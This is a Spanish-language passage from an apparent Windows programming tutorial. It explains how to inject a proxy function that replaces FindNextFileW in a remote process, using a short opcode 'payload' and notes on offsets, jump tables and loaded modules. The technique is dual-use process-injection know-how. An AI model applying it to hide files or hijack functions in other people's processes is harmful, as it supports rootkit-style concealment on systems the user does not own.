En el código “ejemplo.c” están almacenados en la variable “payload” los códigos de operación de la función que suplantará a la original en el proceso remoto. En este caso, la versión UNICODE de “FindNextFile” (“FindNextFileW“). Si nos fijamos en el código comentado de la función “FindNext” y en los códigos de operación de la función proxy del ejemplo anterior, vemos:

OpCodes:

"\x55\x89\xE5\x83\xEC\x18\xC7\x45\xF4\x00\x00\x00\x00"

Código Función Proxy:

void *p; p=0;

Como es obvio, ese “p=0;” son los ceros que hay en la primera linea de los códigos de operación, y es vital que sean el primer grupo de ceros de la función, ya que va a ser en esos ceros donde la librería va a escribir la dirección del buffer para poder usar la función suplantada.

IMPORTANTE: Si os fijáis, para obtener la dirección de la función que se quiere enganchar, uso “LoadLibrary” en vez de “GetModuleHandle”, ya que la dirección de la función se obtiene en nuestro proceso, por lo que debemos de estar seguros de que la función que queremos suplantar (en caso de que sea una función externa), esté realmente cargada en el proceso. Para comprobar que está cargada en memoria, tendríamos dos opciones: O bien leer la IAT del ejecutable (en caso de que se enlace estáticamente con la función), o bien (si se enlaza dinámicamente) se podría insertar un payload en el proceso remoto que intentara acceder a la dirección de memoria en la que debería encontrarse la función, y comparar los códigos de operación (los N primeros) con los de la función a enganchar.

Otro punto importante, es cómo conseguir el offset y el tamaño de la función proxy. El código mostrado anteriormente está compilado en “Dev-Cpp” y obtiene los datos corréctamente, pero si lo compilamos en “Visual C++” y vamos depurando, veremos que el offset de la función proxy no es el offset real del comienzo de la función, sino que es un salto a la función. Si metemos más funciones, veremos que realmente, el compilador a generado una tabla de saltos, a la que el programa accede para usar cada una de nuestras funciones, con lo que si compilamos “ejemplo.c” en Visual C++ deberemos de leer el salto a la función proxy, y el siguiente salto, para obtener la diferencia entre los dos offsets y así poder calcular el tamaño de la función proxy.